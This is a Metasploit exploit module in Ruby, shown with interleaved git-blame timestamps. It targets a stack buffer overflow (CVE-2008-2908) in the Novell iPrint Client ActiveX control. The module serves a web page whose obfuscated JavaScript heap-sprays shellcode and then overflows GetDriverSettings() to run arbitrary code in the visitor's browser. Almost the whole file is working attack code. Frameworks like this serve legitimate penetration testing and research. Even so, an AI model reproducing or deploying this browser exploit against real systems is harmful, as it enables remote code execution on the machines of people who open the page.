2008-06-19 00:06:18 +00:00
|
|
|
##
|
2010-09-20 08:06:27 +00:00
|
|
|
# $Id: novelliprint_getdriversettings.rb$
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2008-06-19 00:06:18 +00:00
|
|
|
|
|
|
|
|
###
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2008-06-19 00:06:18 +00:00
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2008-06-19 00:06:18 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2008-06-19 00:06:18 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Novell iPrint Client ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Novell iPrint Client 4.34. When
|
2010-04-30 08:40:19 +00:00
|
|
|
sending an overly long string to the GetDriverSettings() property of ienipp.ocx
|
2008-06-19 00:06:18 +00:00
|
|
|
an attacker may be able to execute arbitrary code.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' => [ 'MC' ],
|
2008-10-23 02:43:21 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2008-06-19 00:06:18 +00:00
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'CVE', '2008-2908'],
|
|
|
|
|
[ 'OSVDB', '46194'],
|
2008-06-19 00:06:18 +00:00
|
|
|
[ 'URL', 'http://secunia.com/advisories/30709/' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
|
2008-06-19 00:06:18 +00:00
|
|
|
],
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Jun 16 2008',
|
2008-06-19 00:06:18 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload.
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Encode the shellcode.
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
# Create some nops.
|
2008-06-19 00:06:18 +00:00
|
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-06-19 00:06:18 +00:00
|
|
|
# Set the return.
|
|
|
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
|
|
|
|
|
|
|
|
# Randomize the javascript variable names.
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
var_i = rand_text_alpha(rand(30) + 2)
|
|
|
|
|
rand1 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand2 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand3 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand4 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand5 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand6 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand7 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
rand8 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
content = %Q|<html>
|
|
|
|
|
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
|
|
|
|
|
<script language="JavaScript">
|
|
|
|
|
var #{rand1} = unescape('#{shellcode}');
|
|
|
|
|
var #{rand2} = unescape('#{nops}');
|
|
|
|
|
var #{rand3} = 20;
|
|
|
|
|
var #{rand4} = #{rand3} + #{rand1}.length;
|
|
|
|
|
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
|
|
|
|
|
var #{rand5} = #{rand2}.substring(0,#{rand4});
|
|
|
|
|
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
|
|
|
|
|
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
|
|
|
|
|
var #{rand7} = new Array();
|
|
|
|
|
for (#{var_i} = 0; #{var_i} < 700; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
|
|
|
|
|
var #{rand8} = "";
|
|
|
|
|
for (#{var_i} = 0; #{var_i} < 99024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
|
|
|
|
|
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
2008-06-19 00:06:18 +00:00
|
|
|
|
|
|
|
|
content = Rex::Text.randomize_space(content)
|
|
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2008-06-19 00:06:18 +00:00
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-06-19 00:06:18 +00:00
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|
